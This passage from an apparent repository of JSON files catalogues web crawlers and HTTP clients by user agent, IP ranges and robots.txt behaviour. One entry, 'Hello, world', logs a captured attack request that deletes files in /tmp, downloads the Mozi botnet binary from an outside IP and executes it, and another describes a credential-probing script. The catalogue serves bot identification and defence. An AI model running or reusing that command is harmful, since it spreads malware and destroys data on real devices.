"50.16.241.114/32", 10 | "50.16.241.117/32", 11 | "50.16.247.234/32", 12 | "52.5.190.19/32", 13 | "52.204.97.54/32", 14 | "54.197.234.188/32", 15 | "54.208.100.253/32" 16 | ], 17 | "last_updated": "2020-08-06", 18 | "robotstxt": { 19 | "downloads": true, 20 | "respects": true, 21 | "should": true 22 | }, 23 | "type": 0, 24 | "user_agents": [ 25 | "Mozilla/5.0 (compatible; DuckDuckBot-Https/1.1; https://duckduckgo.com/duckduckbot)" 26 | ], 27 | "website": { 28 | "reachable": true, 29 | "url": "https://duckduckgo.com/duckduckbot" 30 | } 31 | } 32 | -------------------------------------------------------------------------------- /data/DuckDuckGo-Favicons-Bot.json: -------------------------------------------------------------------------------- 1 | { 2 | "category": 0, 3 | "comments": "", 4 | "country": "US", 5 | "description": "Part of the DuckDuckGo search engine.", 6 | "id": "DuckDuckGo-Favicons-Bot", 7 | "known_cidrs": ["40.88.21.235/32", "54.208.102.37/32", "107.21.1.8/32"], 8 | "last_updated": "2020-08-06", 9 | "robotstxt": { 10 | "downloads": false, 11 | "respects": false, 12 | "should": false 13 | }, 14 | "type": 0, 15 | "user_agents": [ 16 | "Mozilla/5.0 (compatible; DuckDuckGo-Favicons-Bot/1.0; +http://duckduckgo.com)" 17 | ], 18 | "website": { 19 | "reachable": true, 20 | "url": "http://duckduckgo.com" 21 | } 22 | } 23 | -------------------------------------------------------------------------------- /data/Elisabot.json: -------------------------------------------------------------------------------- 1 | { 2 | "category": 99, 3 | "comments": "", 4 | "country": null, 5 | "description": "", 6 | "id": "Elisabot", 7 | "known_cidrs": ["54.194.217.100/32"], 8 | "last_updated": "2020-08-06", 9 | "robotstxt": { 10 | "downloads": false, 11 | "respects": false, 12 | "should": true 13 | }, 14 | "type": 99, 15 | "user_agents": ["Elisabot"], 16 | "website": { 17 | "reachable": false, 18 | "url": "" 19 | } 20 | } 21 | -------------------------------------------------------------------------------- /data/Emacs_Elfeed.json: -------------------------------------------------------------------------------- 1 | { 2 | "category": 4, 3 | "comments": "", 4 | "country": "ZZ", 5 | "description": "Emacs web feeds client.", 6 | "id": "Emacs Elfeed", 7 | "known_cidrs": [], 8 | "last_updated": "2020-08-06", 9 | "robotstxt": { 10 | "downloads": false, 11 | "respects": false, 12 | "should": false 13 | }, 14 | "type": 1, 15 | "user_agents": ["Emacs Elfeed 3.3.0"], 16 | "website": { 17 | "reachable": true, 18 | "url": "https://github.com/skeeto/elfeed" 19 | } 20 | } 21 | -------------------------------------------------------------------------------- /data/Faraday.json: -------------------------------------------------------------------------------- 1 | { 2 | "category": 4, 3 | "comments": "", 4 | "country": "ZZ", 5 | "description": "Ruby HTTP client library.", 6 | "id": "Faraday", 7 | "known_cidrs": [], 8 | "last_updated": "2020-08-06", 9 | "robotstxt": { 10 | "downloads": null, 11 | "respects": null, 12 | "should": null 13 | }, 14 | "type": 1, 15 | "user_agents": ["Faraday v0.15.4"], 16 | "website": { 17 | "reachable": true, 18 | "url": "https://lostisland.github.io/faraday/" 19 | } 20 | } 21 | -------------------------------------------------------------------------------- /data/FeedDaemon.json: -------------------------------------------------------------------------------- 1 | { 2 | "category": 4, 3 | "comments": "", 4 | "country": "ZZ", 5 | "description": "Internal RSS service of AVM Fritz!Box devices.", 6 | "id": "FeedDaemon", 7 | "known_cidrs": [], 8 | "last_updated": "2020-08-07", 9 | "robotstxt": { 10 | "downloads": false, 11 | "respects": false, 12 | "should": false 13 | }, 14 | "type": 0, 15 | "user_agents": ["FeedDaemon FRITZ!OS/07.12 Linux/2.6.39.3"], 16 | "website": { 17 | "reachable": false, 18 | "url": "" 19 | } 20 | } 21 | -------------------------------------------------------------------------------- /data/FeedFetcher-Google.json: -------------------------------------------------------------------------------- 1 | { 2 | "category": 0, 3 | "comments": "", 4 | "country": "US", 5 | "description": "Feedfetcher is how Google grabs RSS or Atom feeds for Google Play Newsstand and PubSubHubbub.", 6 | "id": "FeedFetcher-Google", 7 | "known_cidrs": [], 8 | "last_updated": "2020-08-06", 9 | "robotstxt": { 10 | "downloads": false, 11 | "respects": false, 12 | "should": false 13 | }, 14 | "type": 0, 15 | "user_agents": [ 16 | "FeedFetcher-Google; (+http://www.google.com/feedfetcher.html)", 17 | "Mozilla/5.0 (compatible) Feedfetcher-Google; (+http://www.google.com/feedfetcher.html)" 18 | ], 19 | "website": { 20 | "reachable": true, 21 | "url": "http://www.google.com/feedfetcher.html" 22 | } 23 | } 24 | -------------------------------------------------------------------------------- /data/GarlikCrawler.json: -------------------------------------------------------------------------------- 1 | { 2 | "category": 99, 3 | "comments": "", 4 | "country": "GB", 5 | "description": "", 6 | "id": "GarlikCrawler", 7 | "known_cidrs": ["185.26.92.74/32"], 8 | "last_updated": "2020-08-06", 9 | "robotstxt": { 10 | "downloads": true, 11 | "respects": true, 12 | "should": true 13 | }, 14 | "type": 99, 15 | "user_agents": ["GarlikCrawler/1.2 (http://garlik.com/, crawler@garlik.com)"], 16 | "website": { 17 | "reachable": false, 18 | "url": "http://garlik.com/" 19 | } 20 | } 21 | -------------------------------------------------------------------------------- /data/Googlebot-Image.json: -------------------------------------------------------------------------------- 1 | { 2 | "category": 0, 3 | "comments": "", 4 | "country": "US", 5 | "description": "Crawler for Google Images.", 6 | "id": "Googlebot-Image", 7 | "known_cidrs": [ 8 | "66.249.64.0/24", 9 | "66.249.65.0/24", 10 | "66.249.66.0/24", 11 | "66.249.70.0/24", 12 | "66.249.73.0/24", 13 | "66.249.75.0/24", 14 | "66.249.76.0/24", 15 | "66.249.79.0/24" 16 | ], 17 | "last_updated": "2020-08-06", 18 | "robotstxt": { 19 | "downloads": true, 20 | "respects": true, 21 | "should": true 22 | }, 23 | "type": 2, 24 | "user_agents": ["Googlebot-Image/1.0"], 25 | "website": { 26 | "reachable": true, 27 | "url": "http://www.google.com/bot.html" 28 | } 29 | } 30 | -------------------------------------------------------------------------------- /data/Googlebot-Video.json: -------------------------------------------------------------------------------- 1 | { 2 | "category": 0, 3 | "comments": "", 4 | "country": "US", 5 | "description": "Crawler for Google Video.", 6 | "id": "Googlebot-Video", 7 | "known_cidrs": [], 8 | "last_updated": "2020-08-06", 9 | "robotstxt": { 10 | "downloads": true, 11 | "respects": true, 12 | "should": true 13 | }, 14 | "type": 2, 15 | "user_agents": ["Googlebot-Video/1.0"], 16 | "website": { 17 | "reachable": true, 18 | "url": "http://www.google.com/bot.html" 19 | } 20 | } 21 | -------------------------------------------------------------------------------- /data/Googlebot.json: -------------------------------------------------------------------------------- 1 | { 2 | "category": 0, 3 | "comments": "", 4 | "country": "US", 5 | "description": "Google search engine crawler.", 6 | "id": "Googlebot", 7 | "known_cidrs": [], 8 | "last_updated": "2020-08-06", 9 | "robotstxt": { 10 | "downloads": true, 11 | "respects": true, 12 | "should": true 13 | }, 14 | "type": 2, 15 | "user_agents": [ 16 | "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.98 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)", 17 | "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)", 18 | "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Googlebot/2.1; +http://www.google.com/bot.html) Chrome/79.0.3945.120 Safari/537.36" 19 | ], 20 | "website": { 21 | "reachable": true, 22 | "url": "http://www.google.com/bot.html" 23 | } 24 | } 25 | -------------------------------------------------------------------------------- /data/HeadlessChrome.json: -------------------------------------------------------------------------------- 1 | { 2 | "category": 4, 3 | "comments": "Developer tool, has no business visiting production websites of third parties. Does not respect robots.txt since it's essentially a web browser, although an automated running one.", 4 | "country": "ZZ", 5 | "description": "Google Chrome browser without user interface.", 6 | "id": "HeadlessChrome", 7 | "known_cidrs": [], 8 | "last_updated": "2020-08-06", 9 | "robotstxt": { 10 | "downloads": null, 11 | "respects": null, 12 | "should": null 13 | }, 14 | "type": 1, 15 | "user_agents": [ 16 | "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/68.0.3440.106 Safari/537.36", 17 | "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/79.0.3945.0 Safari/537.36", 18 | "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/80.0.3987.149 Safari/537.36", 19 | "Mozilla/5.0 (X11; Fedora; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/68.0.3440.106 Safari/537.36", 20 | "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/83.0.4103.0 Safari/537.36" 21 | ], 22 | "website": { 23 | "reachable": true, 24 | "url": "https://developers.google.com/web/updates/2017/04/headless-chrome" 25 | } 26 | } 27 | -------------------------------------------------------------------------------- /data/HealthCheckBot.json: -------------------------------------------------------------------------------- 1 | { 2 | "category": 99, 3 | "comments": "", 4 | "country": "US", 5 | "description": "", 6 | "id": "HealthCheckBot", 7 | "known_cidrs": ["13.59.12.187/32"], 8 | "last_updated": "2020-08-06", 9 | "robotstxt": { 10 | "downloads": null, 11 | "respects": null, 12 | "should": null 13 | }, 14 | "type": 99, 15 | "user_agents": ["HealthCheckBot/0.2"], 16 | "website": { 17 | "reachable": false, 18 | "url": "" 19 | } 20 | } 21 | -------------------------------------------------------------------------------- /data/Hello,_world.json: -------------------------------------------------------------------------------- 1 | { 2 | "category": 99, 3 | "comments": "", 4 | "country": null, 5 | "description": "Anomalous user agent from a malware injection attempt.", 6 | "http_requests": [ 7 | "GET /shell?cd+/tmp;rm+-rf+*;wget+http://111.43.223.103:35300/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws HTTP/1.1" 8 | ], 9 | "id": "Hello, world", 10 | "known_cidrs": [], 11 | "last_updated": "2020-08-06", 12 | "robotstxt": { 13 | "downloads": null, 14 | "respects": null, 15 | "should": null 16 | }, 17 | "type": 99, 18 | "user_agents": ["Hello, world"], 19 | "website": { 20 | "reachable": false, 21 | "url": "" 22 | } 23 | } 24 | -------------------------------------------------------------------------------- /data/IndeedBot.json: -------------------------------------------------------------------------------- 1 | { 2 | "category": 99, 3 | "comments": "", 4 | "country": "US", 5 | "description": "", 6 | "id": "IndeedBot", 7 | "known_cidrs": [ 8 | "173.244.209.229/32", 9 | "173.244.209.230/32", 10 | "174.127.90.42/32", 11 | "174.127.90.45/32", 12 | "209.95.51.171/32" 13 | ], 14 | "last_updated": "2020-08-06", 15 | "robotstxt": { 16 | "downloads": false, 17 | "respects": false, 18 | "should": null 19 | }, 20 | "type": 99, 21 | "user_agents": [ 22 | "Mozilla/5.0 (Windows NT 6.1; rv:38.0) Gecko/20100101 Firefox/38.0 (IndeedBot 1.1)" 23 | ], 24 | "website": { 25 | "reachable": false, 26 | "url": "" 27 | } 28 | } 29 | -------------------------------------------------------------------------------- /data/Integrity.json: -------------------------------------------------------------------------------- 1 | { 2 | "category": 4, 3 | "comments": "", 4 | "country": "ZZ", 5 | "description": "Broken link checking software.", 6 | "id": "Integrity", 7 | "known_cidrs": [], 8 | "last_updated": "2020-08-06", 9 | "robotstxt": { 10 | "downloads": false, 11 | "respects": false, 12 | "should": true 13 | }, 14 | "type": 1, 15 | "user_agents": [ 16 | "Mozilla/5.0 (compatible; Integrity/8; +https://peacockmedia.software/mac/integrity/" 17 | ], 18 | "website": { 19 | "reachable": true, 20 | "url": "https://peacockmedia.software/mac/integrity/" 21 | } 22 | } 23 | -------------------------------------------------------------------------------- /data/Internet-structure-research-project-bot.json: -------------------------------------------------------------------------------- 1 | { 2 | "category": 99, 3 | "comments": "", 4 | "country": "RU", 5 | "description": "", 6 | "id": "Internet-structure-research-project-bot", 7 | "known_cidrs": ["213.159.213.137/32", "213.159.213.236/32"], 8 | "last_updated": "2020-08-06", 9 | "robotstxt": { 10 | "downloads": false, 11 | "respects": false, 12 | "should": true 13 | }, 14 | "type": 99, 15 | "user_agents": ["Internet-structure-research-project-bot"], 16 | "website": { 17 | "reachable": false, 18 | "url": "" 19 | } 20 | } 21 | -------------------------------------------------------------------------------- /data/Java.json: -------------------------------------------------------------------------------- 1 | { 2 | "category": 4, 3 | "comments": "", 4 | "country": "ZZ", 5 | "description": "Oracle Java built-in HTTP client library.", 6 | "id": "Java", 7 | "known_cidrs": [], 8 | "last_updated": "2020-08-06", 9 | "robotstxt": { 10 | "downloads": false, 11 | "respects": false, 12 | "should": null 13 | }, 14 | "type": 1, 15 | "user_agents": [ 16 | "Java/1.8.0_211", 17 | "Java/10", 18 | "Java/11.0.3", 19 | "Java/14.0.1", 20 | "Java/9.0.1" 21 | ], 22 | "website": { 23 | "reachable": true, 24 | "url": "https://www.java.com/en/" 25 | } 26 | } 27 | -------------------------------------------------------------------------------- /data/JobboerseBot.json: -------------------------------------------------------------------------------- 1 | { 2 | "category": 1, 3 | "comments": "", 4 | "country": "DE", 5 | "description": "Operated by XING for their job search and suggestion engine.", 6 | "id": "JobboerseBot", 7 | "known_cidrs": ["85.25.43.168/32", "85.25.207.101/32", "217.172.189.82/32"], 8 | "last_updated": "2020-08-06", 9 | "robotstxt": { 10 | "downloads": null, 11 | "respects": null, 12 | "should": null 13 | }, 14 | "type": 0, 15 | "user_agents": [ 16 | "Mozilla/5.0 (X11; U; Linux Core i7-4980HQ; de; rv:32.0; compatible; JobboerseBot; http://www.jobboerse.com/bot.htm) Gecko/20100101 Firefox/38.0" 17 | ], 18 | "website": { 19 | "reachable": true, 20 | "url": "http://www.jobboerse.com/bot.htm" 21 | } 22 | } 23 | -------------------------------------------------------------------------------- /data/KOCMOHABT.json: -------------------------------------------------------------------------------- 1 | { 2 | "category": 99, 3 | "comments": "", 4 | "country": null, 5 | "description": "", 6 | "id": "KOCMOHABT", 7 | "known_cidrs": [ 8 | "3.21.241.33/32", 9 | "3.133.12.122/32", 10 | "107:2600:1900:2000:9::24/128", 11 | "152:2600:1900:2000:9::5/128" 12 | ], 13 | "last_updated": "2020-08-06", 14 | "robotstxt": { 15 | "downloads": true, 16 | "respects": false, 17 | "should": true 18 | }, 19 | "type": 99, 20 | "user_agents": [ 21 | "KOCMOHABT (https://kozmonavt.tk/) Mozilla/5.0 (Web Explorer)" 22 | ], 23 | "website": { 24 | "reachable": false, 25 | "url": "https://kozmonavt.tk/" 26 | } 27 | } 28 | -------------------------------------------------------------------------------- /data/LCC.json: -------------------------------------------------------------------------------- 1 | { 2 | "category": 1, 3 | "comments": "", 4 | "country": "DE", 5 | "description": "A project of the Natural Language Processing Group of the University of Leipzig. The LCC offers access to monolingual dictionaries in more than 200 languages.", 6 | "id": "LCC", 7 | "known_cidrs": ["139.18.2.214/32"], 8 | "last_updated": "2020-08-06", 9 | "robotstxt": { 10 | "downloads": true, 11 | "respects": false, 12 | "should": true 13 | }, 14 | "type": 2, 15 | "user_agents": [ 16 | "LCC (+http://corpora.informatik.uni-leipzig.de/crawler_faq.html)" 17 | ], 18 | "website": { 19 | "reachable": true, 20 | "url": "http://corpora.informatik.uni-leipzig.de/crawler_faq.html" 21 | } 22 | } 23 | -------------------------------------------------------------------------------- /data/Leap.json: -------------------------------------------------------------------------------- 1 | { 2 | "category": 99, 3 | "comments": "", 4 | "country": "DK", 5 | "description": "", 6 | "id": "Leap", 7 | "known_cidrs": ["85.191.202.86/32"], 8 | "last_updated": "2020-08-06", 9 | "robotstxt": { 10 | "downloads": false, 11 | "respects": false, 12 | "should": null 13 | }, 14 | "type": 99, 15 | "user_agents": ["Leap"], 16 | "website": { 17 | "reachable": false, 18 | "url": "" 19 | } 20 | } 21 | -------------------------------------------------------------------------------- /data/Let's_Encrypt_validation_server.json: -------------------------------------------------------------------------------- 1 | { 2 | "category": 8, 3 | "comments": "", 4 | "country": "US", 5 | "description": "Let's Encrypt certification authority. You probably initiated this yourself. Does not need to adhere to robots.txt since it's just verifying the domain to issue a TLS certificate, which is generally a user-initiated action.", 6 | "id": "Let's Encrypt validation server", 7 | "known_cidrs": [], 8 | "last_updated": "2020-08-06", 9 | "robotstxt": { 10 | "downloads": false, 11 | "respects": false, 12 | "should": false 13 | }, 14 | "type": 0, 15 | "user_agents": [ 16 | "Mozilla/5.0 (compatible; Let's Encrypt validation server; +https://www.letsencrypt.org)" 17 | ], 18 | "website": { 19 | "reachable": true, 20 | "url": "https://www.letsencrypt.org" 21 | } 22 | } 23 | -------------------------------------------------------------------------------- /data/LightspeedSystemsCrawler.json: -------------------------------------------------------------------------------- 1 | { 2 | "category": 8, 3 | "comments": "", 4 | "country": "US", 5 | "description": "Cloud-based content filter service.", 6 | "id": "LightspeedSystemsCrawler", 7 | "known_cidrs": ["52.36.251.200/32", "207.200.8.182/32"], 8 | "last_updated": "2020-08-06", 9 | "robotstxt": { 10 | "downloads": true, 11 | "respects": true, 12 | "should": true 13 | }, 14 | "type": 2, 15 | "user_agents": [ 16 | "LightspeedSystemsCrawler Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)" 17 | ], 18 | "website": { 19 | "reachable": true, 20 | "url": "https://www.lightspeedsystems.com" 21 | } 22 | } 23 | -------------------------------------------------------------------------------- /data/Linguee_Bot.json: -------------------------------------------------------------------------------- 1 | { 2 | "category": 0, 3 | "comments": "", 4 | "country": "DE", 5 | "description": "Search engine for translations in context.", 6 | "id": "Linguee Bot", 7 | "known_cidrs": ["85.25.218.169/32", "85.25.237.101/32"], 8 | "last_updated": "2020-08-06", 9 | "robotstxt": { 10 | "downloads": true, 11 | "respects": true, 12 | "should": true 13 | }, 14 | "type": 2, 15 | "user_agents": ["Linguee Bot (http://www.linguee.com/bot; bot@linguee.com)"], 16 | "website": { 17 | "reachable": true, 18 | "url": "http://www.linguee.com/bot" 19 | } 20 | } 21 | -------------------------------------------------------------------------------- /data/MJ12bot.json: -------------------------------------------------------------------------------- 1 | { 2 | "category": 7, 3 | "comments": "", 4 | "country": "GB", 5 | "description": "Majestic.com backlink crawler.", 6 | "id": "MJ12bot", 7 | "known_cidrs": [ 8 | "62.171.162.127/32", 9 | "69.30.202.138/32", 10 | "69.30.226.234/32", 11 | "86.161.53.184/32", 12 | "91.137.17.92/32", 13 | "92.220.10.100/32", 14 | "93.197.160.126/32", 15 | "93.209.8.79/32", 16 | "95.91.15.244/32", 17 | "95.91.33.17/32", 18 | "95.91.74.80/32", 19 | "95.91.74.120/32", 20 | "108.59.8.70/32", 21 | "162.210.196.97/32", 22 | "167.86.90.229/32", 23 | "173.208.200.154/32", 24 | "173.208.218.130/32", 25 | "173.212.222.108/32", 26 | "192.151.145.82/32", 27 | "192.151.145.178/32", 28 | "192.151.157.210/32", 29 | "204.12.197.234/32", 30 | "207.244.157.10/32", 31 | "208.110.93.78/32", 32 | "173:2a01:4f9:2a:302::2/128" 33 | ], 34 | "last_updated": "2020-08-06", 35 | "robotstxt": { 36 | "downloads": true, 37 | "respects": true, 38 | "should": true 39 | }, 40 | "type": 2, 41 | "user_agents": [ 42 | "Mozilla/5.0 (compatible; MJ12bot/v1.4.8; http://mj12bot.com/)" 43 | ], 44 | "website": { 45 | "reachable": true, 46 | "url": "http://mj12bot.com/" 47 | } 48 | } 49 | -------------------------------------------------------------------------------- /data/Mail_RU_Bot.json: -------------------------------------------------------------------------------- 1 | { 2 | "category": 0, 3 | "comments": "", 4 | "country": "RU", 5 | "description": "Russian search engine.", 6 | "id": "Mail.RU_Bot", 7 | "known_cidrs": [ 8 | "95.163.255.72/29", 9 | "95.163.255.82/31", 10 | "95.163.255.84/30", 11 | "95.163.255.88/31", 12 | "95.163.255.93/32", 13 | "95.163.255.94/31", 14 | "95.163.255.97/32", 15 | "95.163.255.111/32", 16 | "95.163.255.120/32", 17 | "95.163.255.130/31", 18 | "95.163.255.138/32", 19 | "95.163.255.140/31", 20 | "95.163.255.150/31", 21 | "95.163.255.153/32", 22 | "95.163.255.158/32", 23 | "95.163.255.178/31", 24 | "95.163.255.181/32", 25 | "95.163.255.185/32", 26 | "95.163.255.187/32", 27 | "95.163.255.188/32", 28 | "95.163.255.191/32", 29 | "95.163.255.196/32", 30 | "95.163.255.204/31", 31 | "95.163.255.209/32", 32 | "95.163.255.210/32", 33 | "95.163.255.212/32", 34 | "95.163.255.216/31", 35 | "95.163.255.219/32", 36 | "95.163.255.221/32", 37 | "95.163.255.222/32", 38 | "95.163.255.226/31", 39 | "95.163.255.228/32", 40 | "95.163.255.230/32", 41 | "95.163.255.233/32", 42 | "95.163.255.234/31", 43 | "95.163.255.236/32", 44 | "95.163.255.238/32", 45 | "95.163.255.245/32" 46 | ], 47 | "last_updated": "2020-08-06", 48 | "robotstxt": { 49 | "downloads": true, 50 | "respects": false, 51 | "should": true 52 | }, 53 | "type": 2, 54 | "user_agents": [ 55 | "Mozilla/5.0 (compatible; Linux x86_64; Mail.RU_Bot/2.0; +http://go.mail.ru/help/robots)", 56 | "Mozilla/5.0 (compatible; Linux x86_64; Mail.RU_Bot/Robots/2.0; +http://go.mail.ru/help/robots)" 57 | ], 58 | "website": { 59 | "reachable": true, 60 | "url": "http://go.mail.ru/help/robots" 61 | } 62 | } 63 | -------------------------------------------------------------------------------- /data/MauiBot.json: -------------------------------------------------------------------------------- 1 | { 2 | "category": 99, 3 | "comments": "All IPs are AWS instances.", 4 | "country": "US", 5 | "description": "", 6 | "id": "MauiBot", 7 | "known_cidrs": [ 8 | "3.83.18.86/32", 9 | "34.203.29.65/32", 10 | "35.153.33.154/32", 11 | "52.86.134.90/32", 12 | "52.91.120.239/32", 13 | "54.89.30.124/32", 14 | "54.89.118.239/32", 15 | "54.144.240.191/32", 16 | "54.234.58.225/32", 17 | "54.236.54.41/32", 18 | "100.27.11.202/32" 19 | ], 20 | "last_updated": "2020-08-06", 21 | "robotstxt": { 22 | "downloads": true, 23 | "respects": true, 24 | "should": true 25 | }, 26 | "type": 99, 27 | "user_agents": ["MauiBot (crawler.feedback+wc@gmail.com)"], 28 | "website": { 29 | "reachable": false, 30 | "url": "" 31 | } 32 | } 33 | -------------------------------------------------------------------------------- /data/MegaIndex_ru.json: -------------------------------------------------------------------------------- 1 | { 2 | "category": 7, 3 | "comments": "", 4 | "country": "RU", 5 | "description": "Commercial backlink search engine.", 6 | "id": "MegaIndex.ru", 7 | "known_cidrs": ["5.9.98.130/32"], 8 | "last_updated": "2020-08-18", 9 | "robotstxt": { 10 | "downloads": false, 11 | "respects": false, 12 | "should": true 13 | }, 14 | "type": 2, 15 | "user_agents": [ 16 | "Mozilla/5.0 (compatible; MegaIndex.ru/2.0; +http://megaindex.com/crawler)" 17 | ], 18 | "website": { 19 | "reachable": true, 20 | "url": "http://megaindex.com/crawler" 21 | } 22 | } 23 | -------------------------------------------------------------------------------- /data/MetaJobBot.json: -------------------------------------------------------------------------------- 1 | { 2 | "category": 1, 3 | "comments": "", 4 | "country": "DE", 5 | "description": "METAJob is a search engine with which you can search through all job advertisements available on the Internet.", 6 | "id": "", 7 | "known_cidrs": ["136.243.83.49", "136.243.83.54"], 8 | "last_updated": "2020-08-18", 9 | "robotstxt": { 10 | "downloads": true, 11 | "respects": true, 12 | "should": true 13 | }, 14 | "type": 2, 15 | "user_agents": [ 16 | "Mozilla/5.0 (compatible; MetaJobBot; https://www.metajob.de/crawler)" 17 | ], 18 | "website": { 19 | "reachable": true, 20 | "url": "https://www.metajob.de/crawler" 21 | } 22 | } 23 | -------------------------------------------------------------------------------- /data/MixrankBot.json: -------------------------------------------------------------------------------- 1 | { 2 | "category": 1, 3 | "comments": "", 4 | "country": "US", 5 | "description": "Business intelligence platform.", 6 | "id": "MixrankBot", 7 | "known_cidrs": ["66.231.185.72/32", "66.231.185.74/31"], 8 | "last_updated": "2020-08-06", 9 | "robotstxt": { 10 | "downloads": false, 11 | "respects": false, 12 | "should": true 13 | }, 14 | "type": 2, 15 | "user_agents": ["Mozilla/5.0 (compatible; MixrankBot; crawler@mixrank.com)"], 16 | "website": { 17 | "reachable": true, 18 | "url": "https://mixrank.com" 19 | } 20 | } 21 | -------------------------------------------------------------------------------- /data/MozacFetch.json: -------------------------------------------------------------------------------- 1 | { 2 | "category": 99, 3 | "comments": "", 4 | "country": "ZZ", 5 | "description": "", 6 | "id": "MozacFetch", 7 | "known_cidrs": [], 8 | "last_updated": "2020-08-22", 9 | "robotstxt": { 10 | "downloads": false, 11 | "respects": false, 12 | "should": null 13 | }, 14 | "type": 99, 15 | "user_agents": ["MozacFetch/52.0.3"], 16 | "website": { 17 | "reachable": false, 18 | "url": "" 19 | } 20 | } 21 | -------------------------------------------------------------------------------- /data/Mozlila.json: -------------------------------------------------------------------------------- 1 | { 2 | "category": 4, 3 | "comments": "Note the switched characters in the user agent string that were left in there intentionally by the script's author. When you see this, you can be sure it's a script kiddie.", 4 | "country": "ZZ", 5 | "description": "Malicious Python script probing for production credentials in files like '.env'.", 6 | "id": "Mozlila", 7 | "known_cidrs": [], 8 | "last_updated": "2020-08-18", 9 | "robotstxt": { 10 | "downloads": null, 11 | "respects": null, 12 | "should": null 13 | }, 14 | "type": 0, 15 | "user_agents": [ 16 | "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 17 | ], 18 | "website": { 19 | "reachable": false, 20 | "url": "" 21 | } 22 | } 23 | -------------------------------------------------------------------------------- /data/NetNewsWire.json: -------------------------------------------------------------------------------- 1 | { 2 | "category": 4, 3 | "comments": "", 4 | "country": "ZZ", 5 | "description": "Open source RSS feed reader for macOS and iOS.", 6 | "id": "NetNewsWire", 7 | "known_cidrs": [], 8 | "last_updated": "2020-08-06", 9 | "robotstxt": { 10 | "downloads": false, 11 | "respects": false, 12 | "should": false 13 | }, 14 | "type": 1, 15 | "user_agents": [ 16 | "NetNewsWire (RSS Reader; https://ranchero.com/netnewswire/)" 17 | ], 18 | "website": { 19 | "reachable": true, 20 | "url": "https://ranchero.com/netnewswire/" 21 | } 22 | } 23 | -------------------------------------------------------------------------------- /data/News_Explorer.json: -------------------------------------------------------------------------------- 1 | { 2 | "category": 9, 3 | "comments": "", 4 | "country": "ZZ", 5 | "description": "", 6 | "id": "News Explorer", 7 | "known_cidrs": [], 8 | "last_updated": "2020-08-18", 9 | "robotstxt": { 10 | "downloads": false, 11 | "respects": false, 12 | "should": false 13 | }, 14 | "type": 1, 15 | "user_agents": [ 16 | "News%20Explorer/253 CFNetwork/1128.0.1 Darwin/19.6.0", 17 | "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_2) AppleWebKit/604.4.7 (KHTML, like Gecko) News Explorer/1.9" 18 | ], 19 | "website": { 20 | "reachable": true, 21 | "url": "https://betamagic.nl/products/newsexplorer.html" 22 | } 23 | } 24 | -------------------------------------------------------------------------------- /data/Nimbostratus-Bot.json: -------------------------------------------------------------------------------- 1 | { 2 | "category": 1, 3 | "comments": "", 4 | "country": "US", 5 | "description": "", 6 | "id": "Nimbostratus-Bot", 7 | "known_cidrs": [ 8 | "209.17.96.74/32", 9 | "209.17.96.178/32", 10 | "209.17.96.202/32", 11 | "209.17.97.74/32", 12 | "209.17.97.122/32" 13 | ], 14 | "last_updated": "2020-08-06", 15 | "robotstxt": { 16 | "downloads": false, 17 | "respects": false, 18 | "should": true 19 | }, 20 | "type": 0, 21 | "user_agents": [ 22 | "Mozilla/5.0 (compatible; Nimbostratus-Bot/v1.3.2; http://cloudsystemnetworks.com)" 23 | ], 24 | "website": { 25 | "reachable": true, 26 | "url": "http://cloudsystemnetworks.com" 27 | } 28 | } 29 | -------------------------------------------------------------------------------- /data/Nutch.json: -------------------------------------------------------------------------------- 1 | { 2 | "category": 0, 3 | "comments": "Clumsily attempts to impersonate Googlebot.", 4 | "country": "DE", 5 | "description": "Search engine with unclear purpose. Appears to be largely abandoned.", 6 | "id": "Nutch", 7 | "known_cidrs": ["88.99.64.133/32"], 8 | "last_updated": "2020-08-26", 9 | "robotstxt": { 10 | "downloads": true, 11 | "respects": true, 12 | "should": true 13 | }, 14 | "type": 2, 15 | "user_agents": ["googlebot/Nutch-1.16 (pilican.com; bot@pilican.com)"], 16 | "website": { 17 | "reachable": true, 18 | "url": "https://pilican.com" 19 | } 20 | } 21 | -------------------------------------------------------------------------------- /data/OnalyticaBot.json: -------------------------------------------------------------------------------- 1 | { 2 | "category": 99, 3 | "comments": "", 4 | "country": "US", 5 | "description": "", 6 | "id": "OnalyticaBot", 7 | "known_cidrs": ["3.250.191.128/32", "34.251.221.95/32"], 8 | "last_updated": "2020-08-06", 9 | "robotstxt": { 10 | "downloads": false, 11 | "respects": false, 12 | "should": true 13 | }, 14 | "type": 99, 15 | "user_agents": ["OnalyticaBot"], 16 | "website": { 17 | "reachable": false, 18 | "url": "" 19 | } 20 | } 21 | -------------------------------------------------------------------------------- /data/OrgProbe.json: -------------------------------------------------------------------------------- 1 | { 2 | "category": 1, 3 | "comments": "", 4 | "country": "GB", 5 | "description": "Checks if a site is being blocked by running tests on major fixed line ISPs and mobile networks.", 6 | "id": "OrgProbe", 7 | "known_cidrs": [ 8 | "81.129.94.255/32", 9 | "82.5.212.236/32", 10 | "85.211.27.197/32", 11 | "94.10.56.203/32" 12 | ], 13 | "last_updated": "2020-08-06", 14 | "robotstxt": { 15 | "downloads": false, 16 | "respects": false, 17 | "should": true 18 | }, 19 | "type": 0, 20 | "user_agents": ["OrgProbe/2.0.0 (+http://www.blocked.org.uk)"], 21 | "website": { 22 | "reachable": true, 23 | "url": "http://www.blocked.org.uk" 24 | } 25 | } 26 | 